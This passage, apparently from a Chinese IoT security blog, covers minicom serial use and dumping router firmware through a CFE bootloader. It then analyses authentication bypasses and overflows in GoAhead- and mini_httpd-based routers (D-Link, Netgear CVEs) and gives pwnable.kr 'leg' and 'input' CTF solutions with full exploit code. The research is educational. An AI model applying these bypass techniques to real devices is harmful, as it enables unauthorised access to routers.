  • Save setup as..:将当前配置保存成配置文件,以后使用可以从配置文件中加载相应参数
  • Exit:以当前的配置进行串口通信
  • Exit from Minicom:退出minicom

配置启动权限

minicom需要使用到串口设备/dev/xxx,所以需要使用sudo权限来运行,我们也可以修改串口设备的权限,这样后续启动的时候就不需要使用sudo、还要输入密码了。
修改启动权限的方式1:
使用chmod命令。Linux下的一切设备皆文件,我们可以直接使用chmod命令修改串口设备的权限

1
sudo chmod 666 /dev/xxx

修改启动权限的方式2:
配置udev规则。也是Linux上比较推荐的方式,但是在Mac上无法找到这个配置文件。

1
sudo vim /etc/udev/rules.d/70-ttyusb.rules

新增一行

1
KERNEL=="ttyUSB[0-9]*", MODE="0666"

修改后,需要重新插拔一下设备,以重新生成设备节点

暂停minicom

串口的数据会一直输出,有时候我们需要查看之前打印出来的数据,而minicom不能像GUI的日志查看器一样使用直接翻页查看。这个时候可以使用Ctrl + A(Mac上是ESC + Z)键,暂停minicom的输出,选择后续需要执行的操作,例如查看之前打印的数据、开启日志记录功能、重新设置波特率等等。

undifined
如上,就是暂停了之后的minicom菜单,常用的功能:

  • Clear Screen:清空当前的屏幕
  • cOnfigure Minicom:配置minicom
  • Capture on/off:开始记录日志,对于安全研究比较有用的功能,保存了日志方便进行分析,甚至结合bootloader的功能还可以dump固件
  • Timestamp toggle:开启时间戳,在每一行日志的前面都加上时间戳
  • scroll Back:进入浏览模式,可以翻滚查看已经输出的数据

IoT安全的一些操作

记录一下在IoT安全研究中会使用到的一些场景,尽量结合自己之前遇到的案例讲解,文章后续如果遇到其他合适案例也会更新

案例1:结合bootloader的功能dump固件

最近遇到一个路由器设备,可以直接在板子上找到UART,获取到root权限的shell,但是内置的程序中基本上没有能够外带数据的程序,而我还没到最后一步不想把内存芯片拆下来。通过启动日志可以发现,设备的bootloader是CFE,能够在启动内核前暂停进入CFE的配置模式。同时还能看到CPU型号、flash型号

undifined

输入help命令可以看到CFE支持的命令,此处不多说其他的命令,主要关注能够dump内存的命令dm。dm命令语法是:dm 16进制的起始地址 10进制的数据大小
undifined

在设备正常启动的日志中,可以看到rootfs的格式是squashfs,一个嵌入式设备常用的文件系统格式,文件系统在flash中的起始地址是0xb8010100,大小是8388608个字节=8MB。
undifined

知道了文件系统的起始地址和大小,那么就可以使用dm命令进行dump,通过minicom的日志记录功能保存到本地,然后进行处理还原成真正的文件系统。可以先尝试使用dm命令看看起始地址是否为squash文件系统的magic,如下,的确是squash文件系统的文件头(虽然和PE文件的Magic相同但肯定不是PE)

undifined

开启minicom的日志记录功能,同时按下ESC + Z(Mac)暂停,选择L,设置需要保存的文件名,随后minicom的所有输出都会被保存到日志文件中,设置完毕后在CFE中执行:dm 0xb8010100 8388608开始dump文件系统。
undifined

日志内容如下,可以写一个python脚本进行处理,然后还原成真正的文件系统:
undifined

emm,原理是这样没错了,如果bootloader支持dump内存,配合minicom的日志记录功能,理论上是可以dump下来flash芯片的所有内容的。缺点是,速度特别慢,可能这个时间已经能把芯片拆下来到编程器上读取然后焊回去了。但是至少是一种思路,对吧。

简介

GoAhead是一个轻量化、适用于嵌入式设备的Web服务器,采用C语言编写,代码量不大,具有高度的可移植性和扩展性。GoAhead支持多进程、多线程,能够处理大量的并发连接,支持SSL/TLS加密和基本的身份认证,支持CGI、ASP。

GoAhead由Embedthis Software LLC开发,早年间是完全开源的,可以直接在Github上下载到源码。但是在2022年的时候,似乎转换成商业定制,官方在Github删除了代码库,因此在Github上无法下载,但是在Gitee上还有镜像库。

地址:GoAhead: GoAhead WebServer 采用开放源代码方式,任何人都可以下载、评估并修改代码,目的是为了使GoAhead WebServer成为市场上最领先的嵌入式Web服务器

本文不会完全分析GoAhead的代码实现、架构,而是聚焦于安全研究较为关注、通常由开发者实现的数据包处理部分。文章的大概阐述思路如下:

  1. 首先结合源码说明GoAhead的数据包处理特性,主要涉及鉴权、路由处理
  2. 结合漏洞简述基于GoAhead的server漏洞挖掘思路

源码简单分析请求处理

GoAhead会对数据包按照优先级进行顺序处理,也会根据数据包的路由调用不同的回调函数进行处理。先说说数据包优先级:

  • 优先级为1注册的回调函数:所有数据包都需要首先经过该回调函数进行处理,此处也通常被用来做数据包鉴权、请求路径合法性判断、未授权访问路径定义等等;优先级为0注
  • 优先级为0注册的回调函数:通常用来定义认证后可访问到的接口逻辑实现
  • 优先级为2注册的回调函数:没有回调函数匹配的数据包
1
2
3
int websUrlHandlerDefine(char_t *urlPrefix, char_t *webDir, int arg,
int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webdir, int arg,
char_t *url, char_t *path, char_t *query), int flags)

比较重要的参数:

  • char_t *urlPrefix:指定URL的前缀,也就是需要处理的URL开头部分
  • int (*handler):URL对应的回调函数
  • int flags:URL处理优先级标志,有如下的两个选择:
    • #define WEBS_HANDLER_FIRST 0x1:所有的数据包都会通过该回调函数进行处理
    • #define WEBS_HANDLER_LAST 0x2:没有回调函数匹配的数据包会通过该回调函数进行处理

如下是一个真实设备的反编译代码,可以看到GoAhead是通过注册一个flags=WEBS_HANDLER_FIRST=1的回调函数websAuthHandler来判断数据包是否通过认证的,这意味着所有的数据包都会通过函数websAuthHandler进行处理,验证数据包发送者的权限。

1
2
3
4
5
6
7
8
9
10
11
websUrlHandlerDefine(&byte_4AA6CC, 0, 0, websAuthHandler, 1);
websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0);
websUrlHandlerDefine("/reboot.asp", 0, 0, sub_464028, 0);
websUrlHandlerDefine("/reboot", 0, 0, sub_464028, 0);
websUrlHandlerDefine("/exception_log", 0, 0, sub_462850, 0);
websUrlHandlerDefine("/nat_log", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/attributes_log", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/dhcpcliinfo", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/auto_ch", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/auto_5G_ch", 0, 0, sub_4628F8, 0);

例如对一个请求的完整处理过程:使用POST请求访问/goform/websLogin,

  1. 首先数据包会进入函数webAuthHandler:请求路径鉴权、请求路径合法性判断等
    1
    websUrlHandlerDefine(&byte_4AA6CC, 0, 0, websAuthHandler, 1);
  2. 根据一层路径/goform,匹配回调函数websFormHandler:
    1
    websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
  3. 根据二层路径/websLogin,匹配回调函数websLogin:
    1
    websFormDefine((int)"websLogin", (int)websLogin);

因此,对于GoAhead作为server的设备来说,如果想挖到认证前的RCE的话,可以主要从优先级为0的登录处理回调函数入手,找到绕过认证的方法,或者看回调函数是否存在缓冲区溢出等能够劫持控制流的漏洞。

漏洞挖掘思路

历史版本漏洞

版本号的确定:搜索字符串GoAhead-Webs,可以确定版本,从而判断是否受到历史漏洞的影响
undifined

漏洞编号 影响版本 漏洞概述
CVE-2017-17562 < 3.6.5 初始化CGI时,在HTTPD请求参数中,使用特殊的参数名LD_PRELOAD劫持libc库,进而远程命令执行
CVE-2021-42342 4.x、5.x~5.1.5 对上述的一个绕过

如上的两个漏洞如果要达成认证前RCE,需要/cgi-bin/一层路径可以未授权访问

漏洞案例1:发生在websSecurityHandler中的认证绕过

CVE-2020-15633

该漏洞是发生在LAN口的一个登录认证绕过漏洞,影响设备DIR-867、DIR-878、DIR-882,固件版本1.20B10_BETA。漏洞产生的原因是在处理HNAP请求的过程中,验证用户登录逻辑时处理不当,使用strstr函数来检查无需验证权限的接口,导致可以构造特定URI来绕过身份认证,从而访问敏感接口。

设备采用lighttpd作为webserver,根据配置会将HNAP请求转发到程序/bin/prog.cgi进行处理,prog.cgi是基于GoAhead开发。

1
2
3
4
5
6
7
8
9
10
11
fastcgi.server = ( 
"/HNAP1/" =>
((
"socket" => "/var/prog.fcgi.socket-0",
"check-local" => "enable",
"bin-path" => "/bin/prog.cgi",
"idle-timeout" => 10,
"min-procs" => 1,
"max-procs" => 1
)),
......

漏洞触发过程的函数调用如下:

1
2
3
sub_423ECC -> 0
sub_4249EC -> 0
websSecurityHandler -> 0
  1. 在函数sub_423ECC中,会使用函数strstr比较环境变量REQUEST_URI(也就是请求路径)中是否含有字符串列表actions_list中的字符串,然后触发到return 0。
    1
    2
    3
    4
    5
    if ( a1[57] && strstr(a1[57], &actions_list[32 * index]) )// REQUEST_URI
    {
    if ( strcmp(&actions_list[32 * index], "/HNAP1/") || !a1[50] || strcmp(a1[50], "POST") )
    return 0;
    }
  2. 然后返回到函数sub_4249EC,触发该函数继续返回0;
  3. 再返回到函数websSecurityHandler中,使得该认证函数返回0,达到认证绕过;
    1
    websUrlHandlerDefine("/", 0, 0, websSecurityHandler, 1);

其他认证后的接口(大多存在)

大多基于GoAhead开发的server都存在认证后的漏洞,例如缓冲区溢出、命令执行等等。

简介

mini_httpd是一个小型的HTTP服务器,它的代码非常小巧,仅有几千行代码,因此它适用于嵌入式设备和低功耗系统。它是由Jef Poskanzer开发的,可以在多种操作系统上运行,包括Linux、FreeBSD、Solaris、Windows等。mini_httpd支持动态内容的生成,包括CGI、SSI以及FastCGI,同时它也支持虚拟主机和基本的身份验证。mini_httpd的主要特点是快速、轻量级、安全和易于使用。

mini_httpd的代码下载地址:mini_httpd

数据包处理逻辑

mini_httpd收到一个数据请求包后会fork创建一个子进程来进行处理,这种方式如果在高并发场景会在进程创建、销毁过程中消耗大量的资源,但是在并发量低的嵌入式设备已经够用了。

1
2
3
4
5
6
7
8
9
10
11
/* Fork a sub-process to handle the connection. */
r = fork();
...
if ( r == 0 )
{
/* Child process. */
...
handle_request(); // 数据包处理逻辑
}
...
}

子进程中主要是通过handle_request函数来对数据进行处理的,主要是先解析请求行、再解析请求头。

  • 读取请求的第一行,获取到请求行,然后从行中解析到请求方法protocol、请求路径path和查询参数query
  • 随后解析header,主要实现是通过while循环继续逐行解析header中的字段,包括Authorization、Content-Length、Content-Type、Cookie、User-Agent等等常见的字段

如下是handle_request函数中读取请求行,获取到请求method_str、path、query、protocol。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Parse the first line of the request. */
method_str = get_request_line();
if ( method_str == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
path = strpbrk( method_str, " \t\012\015" );
if ( path == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
*path++ = '\0';
path += strspn( path, " \t\012\015" );
protocol = strpbrk( path, " \t\012\015" );
if ( protocol == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
*protocol++ = '\0';
protocol += strspn( protocol, " \t\012\015" );
query = strchr( path, '?' );
if ( query == (char*) 0 )
query = "";
else
*query++ = '\0';

然后是while循环处理header,获取字段。在源码中包括:Authorization、Content-Length、Content-Type、Cookie、Host、If-Modified-Since、Referer、Referrer、User-Agent这些字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
   /* Parse the rest of the request headers. */
while ( ( line = get_request_line() ) != (char*) 0 )
{
if ( line[0] == '\0' )
break;
else if ( strncasecmp( line, "Authorization:", 14 ) == 0 )
{
...
}
else if ( strncasecmp( line, "Content-Length:", 15 ) == 0 )
{
...
}

获取到了如上的重要字段后,就开始对数据包的合法性进行判断,例如:

  • 请求方法method是否合理:GET、HEAD、POST、PUT、DELETE、TRACE
  • 请求路径path必须以反斜杠/开头、对path进行目录穿越相关字符进行处理、检查文件是否存在
  • 然后根据path是文件夹或文件,分别调用do_dir和do_file进行处理,二者最终都会进行权限检查函数auth_check

在权限检查函数auth_check中,输入为请求的path转换的实际路径file所在的文件夹dirname,如果权限检查通过,则继续直接随后的数据包处理流程;如果权限检查是否,则通过send_authenticate函数返回401,然后结束当前连接的生命周期。

权限检查的流程则是:

  1. 如果dirname中没有.htpasswd文件,那么直接认证通过。就相当于是在需要授权访问的文件夹中添加该文件,不需要授权访问的文件夹中没有该文件
  2. 源码中采用的校验方式是BASIC认证,请求包中带上username和base64编码的password,然后和.htpasswd文件中保存的账号信息进行对比,如果比较通过则直接返回。

漏洞挖掘思路

因此,平常漏洞挖掘中比较关心的登录认证流程就非常清晰:main -> handle_request -> do_file/do_dir -> auth_check。一般情况下,厂商会根据自己的业务逻辑修改相关的函数,但是根据源码我们还是能通过一些字符串特征来定位到关键函数,例如:

  • 通过搜索index相关的页面字符串,可以定位到handle_request
    1
    2
    3
    4
    5
    6
    7
    .data:0041E030 index_names:    .word aSetupCgi          # DATA XREF: handle_request+38↑o
    .data:0041E030 # "setup.cgi"
    .data:0041E034 .word aIndexHtml # "index.html"
    .data:0041E038 .word aIndexHtm # "index.htm"
    .data:0041E03C .word aIndexXhtml # "index.xhtml"
    .data:0041E040 .word aIndexXht # "index.xht"
    .data:0041E044 .word aDefaultHtm # "Default.htm"
  • 函数handle_request中的逻辑是由开发者定义,因此可能发生缓冲区溢出、命令注入等常见漏洞形式
  • 通过搜索字符串.htpasswd可以直接定位到do_file、auth_check函数。do_file函数中会检查请求文件是否为.htpasswd,auth_check函数则是需要读取账号信息、调用字符串比较函数等

经典案例

案例1:发生在auth_check中的认证绕过

发生在netgear wac104设备、固件版本1.0.4.15之前的身份认证绕过漏洞,漏洞产生的原因是在鉴权过程中,使用了strstr来判断:如果请求uri中包含currentsetting.htm,设置无需认证标志。因此攻击者可以在需要鉴权的uri中包含currentsetting.htm标志,从而达到认证绕过的目的。

通过之前的源代码梳理,也明白了mini_httpd的登录认证流程,那么可以通过搜索字符串的技巧直接定位到auth_check函数。auth_check函数开头有一段导致后续认证绕过的逻辑,其中有一个g_bypass_flag=1时可以直接通过认证。

1
2
3
4
5
6
7
8
9
10
11
12
if ( g_bypass_flag == 1 )
{
if ( !sub_4062C0() )
{
system("/bin/echo genie from wan, drop request > /dev/console");
exit(0);
}
result = system("/bin/echo genie from lan, ok > /dev/console");
}
else {
......
}

查看变量g_bypass_flag的交叉引用,赋值的地方一共包含如下的三处:

  1. 当请求path中包含currentsetting.htm的时候
    1
    2
    if ( strstr(v86, "currentsetting.htm") )
    g_bypass_flag = 1;
  2. SOAPAction相关,设计的初衷应该是可以访问任意SOAP的xml。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    else
    {
    v26 = strncasecmp(v34, "Accept-Language:", 16);
    v27 = v34;
    if ( v26 )
    {
    v30 = v34 + 11;
    if ( !strncasecmp(v27, "SOAPAction:", 11) )
    {
    v31 = strspn(v30, " \t");
    v32 = strcasestr(&v30[v31], "urn:NETGEAR-ROUTER:service:");
    ......
    if ( v32 )
    {
    ......
    g_bypass_flag = 1;
    }
    }
    }
  3. 请求path中包含setupwizard.cgi,但是随后的处理逻辑会调用exit退出,因此无法利用。这个可能是当设备首次启动、开始安装向导触发的。
    1
    2
    if ( strstr((const char *)g_path, "setupwizard.cgi") )
    g_bypass_flag = 1;

再次返回到mini_httpd的源代码中,结合固件中的反汇编

  • 首先通过查找method后的第一个空格、换行、制表符的方式,获取到path。但是随后没有对path中是否包含%00进行判断。
    1
    2
    v10 = strpbrk(v8, " \t\n\r");
    g_path = v10;
  • 获取到的path在内存中大概是:uri\0currentsetting.htm,这导致,strstr函数返回一个非空值,就设置了g_bypass_flag,从而通过了auth_check
    1
    2
    3
    4
    5
    6
    ......
    v86 = (const char *)g_path;
    ......
    if ( strstr(v86, "currentsetting.htm") )
    g_bypass_flag = 1;
    ......

案例2:发生在函数handle_request

CVE-2021-34979

发生在NETGEAR R6260,固件版本V1.1.0.78_1.0.1中,处理SOAPAction标头由于未判断全局数组spapServiceName的边界,导致越界写。写入的数据会以环境变量的形式传递到setupwizard.cgi中,进而造成缓冲区溢出。

越界写:发生在处理数据包的函数handle_request中,未判断边界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
else if (strncasecmp(line, "SOAPAction:", 11) == 0)
{
char *pTemp = NULL;
cp = &line[11];
cp += strspn(cp, " \t");
pTemp = strcasestr(cp, "urn:NETGEAR-ROUTER:service:");
if (pTemp != NULL)
{
int i = 0;
pTemp += strlen("urn:NETGEAR-ROUTER:service:");
while (*pTemp != ':' && *pTemp != '\0')
{
soapServiceName[i++] = *pTemp; // <-- Out-Of-Bounds Write
pTemp++;
}
}
}

后续调用setupwizard.cgi时,环境变量会传入,并且造成缓冲区溢出。

1
2
3
4
5
6
7
8
9
10
bool check_soap_login_record()
{
...
v1 = getenv("SOAP_LOGIN_TOKEN");
...
if ( !v3 )
{
...
strcat((char *)v25, v1);
...

小结

mini_httpd主要容易发生漏洞的地方就是在处理数据包的函数handle_request处,因为此处是开发者主要添加自己代码的地方,例如对header的处理、认证的自我实现方式等等。

1
2
3
4
5
6
7
Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

leg.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

arm是r0存放函数返回值,pc寄存器指向当前运行指令的后两条指令的地址;

如下是函数key1,

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

r0 = r3 = pc = 0x00008ce4

如下是函数key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

r0= r3 = 0x00008d08 + 4 = 0x00008d0c

此处需要说明一下,bx指令的地址,如果最低位是1,说明应当切换到thumb模式。可以看到从0x00008d04后,每条指令的长度都变成了两个字节

如下是key3

1
2
3
4
5
6
7
8
9
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

r0 = r3 = lr = 0x00008d80

lr寄存器保存了函数的返回地址,也就是函数main中调用函数key3处的后一条地址。

因此:key = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 0x0001A770 = 108400

登录上去,看打印出来的log可能是绑定了qemu虚拟机。

1
2
3
4
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

涉及的知识点

  • arm函数特点
  • arm的thumb和arm模式切换

1
2
3
Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

逐个整理要求:

stage1:

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
  • argc=100:需要额外的99个参数
  • argv[‘A’] = argv[65] = \x00
  • argv[‘B’] = argv[66] = \x20\x0a\x0d

可以使用C代码写一个额外的程序来执行程序input,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
int i;
char *args[101] = {};

for (i = 0; i < 101; ++i)
args[i] = "A";
args['A'] = "\x00";
args['B'] = "\x20\x0a\x0d";
args[100] = NULL;
execve("./input", args, NULL);
}

一定要对字符串指针数组args进行初始化操作,如上的for循环,指向了静态数组”A”,execve执行的时候,识别不到args的大小。

stage2:

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
  • 从标准输入STDIN,也就是fd=0读取4个字节到buf,内容是\x00\xoa\x00\xff
  • 从标准错误STDERR,也就是fd=2读取4个字节到buf,内容是\x00\xoa\x02\xff

可以考虑使用管道的方式,来劫持程序的STDIN和STDERR,
首先定义两个管道pipe_stdin[2]、pipe_stderr[2],定义成大小为2的int数组,是因为一个负责写入、一个负责读取。

1
2
3
pid_t child_pid;
int pipe_stdin[2];
int pipe_stderr[2];

使用pipe()创建管道

1
2
3
4
if (pipe(pipe_stdin) < 0 || pipe(pipe_stderr) < 0) {
perror("error creating pipes\n");
exit(1);
}

随后使用fork()创建子进程,这样可以在父进程中通过管道控制子进程的STDIN和STDERR:

1
2
3
4
if ((child_pid = fork()) < 0) {
perror("error forking child\n");
exit(1);
}

然后根据父进程和子进程的管道数据传输关系,关闭管道相应的文件描述符。例如我们需要父进程向子进程的标准输入STDIN发送数据,那么父进程需要关闭读取端pipe_stdin[0]、子进程需要关闭写入段pipe_stdin[1]。使用dup2复制管道描述符到标准输入和标准错误,最终如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (child_pid == 0) {
close(pipe_stdin[0]);
close(pipe_stderr[0]);

write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
write(pipe_stderr[1], "\x00\xoa\x02\xff", 4);

return 0;
} else {
close(pipe_stdin[1]);
close(pipe_stderr[1]);

dup2(pipe_stdin[0], 0);
dup2(pipe_stderr[0], 2);

close(pipe_stdin[0]);
close(pipe_stderr[0]);
execve("./input", args, NULL);
}

stage3:

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

需要将环境变量deadbeef设置成值cafebabe,很简单,直接使用函数setenv即可。

1
2
3
4
setenv("\xde\xad\xbe\xef", "\xca\xfe\xba\xbe", 1);
extern char** environ;
......
execve("./input", args, environ);

stage4:

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

这个阶段是为了打开一个文件\x0a,读取其中的内容,内容需要为\x00\x00\x00\x00

我们的代码中可以创建该文件,然后调用程序input。在pwnable的上机环境中,可以在文件夹/tmp创建相应的文件。

1
2
3
FILE* fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

stage5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

该代码创建了一个IPv4的TCP协议的socket,绑定在argv[‘C’]指定的端口上,并等待最多一个客户端连接;然后使用accept接受来自客户端的请求,并使用recv读取4个字节,将输入存储到buf中;最后校验buf是否等于\xde\xad\xbe\xef

那么就可以在父进程中创建一个客户端去连接子进程中的socket,并输入数据。在父进程中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
args['C'] = "6666";

sleep(5); // 等待input创建好
int sd, cd;
struct sockaddr_in saddr;
sd = socket(AF_INET, SOCK_STREAM, 0);

if (sd == -1) {
printf("error creating socket\n");
return 1;
}

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(atoi(args['C']));

if (connect(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
printf("error connecting\n");
return 1;
}

write(sd, "\xde\xad\xbe\xef", 4);
close(sd);

exp

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
int i;
char *args[101] = {};
pid_t child_pid;
int pipe_stdin[2];
int pipe_stderr[2];

extern char** environ;

setenv("\xde\xad\xbe\xef", "\xca\xfe\xba\xbe", 1);

for (i = 0; i < 101; ++i)
args[i] = "A";

args['A'] = "\x00";
args['B'] = "\x20\x0a\x0d";
args['C'] = "6666";
args[100] = NULL;
if (pipe(pipe_stdin) < 0 || pipe(pipe_stderr) < 0) {
perror("error creating pipes\n");
exit(1);
}

if ((child_pid = fork()) < 0) {
perror("error forking child\n");
exit(1);
}

if (child_pid == 0) {
close(pipe_stdin[0]);
close(pipe_stderr[0]);

write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
write(pipe_stderr[1], "\x00\x0a\x02\xff", 4);

sleep(5); // 等待input创建好
int sd, cd;
struct sockaddr_in saddr;
sd = socket(AF_INET, SOCK_STREAM, 0);

if (sd == -1) {
printf("error creating socket\n");
return 1;
}

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(atoi(args['C']));

if (connect(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
printf("error connecting\n");
return 1;
}

write(sd, "\xde\xad\xbe\xef", 4);
close(sd);
return 0;

} else {
close(pipe_stdin[1]);
close(pipe_stderr[1]);

dup2(pipe_stdin[0], 0);
dup2(pipe_stderr[0], 2);

close(pipe_stdin[0]);
close(pipe_stderr[0]);

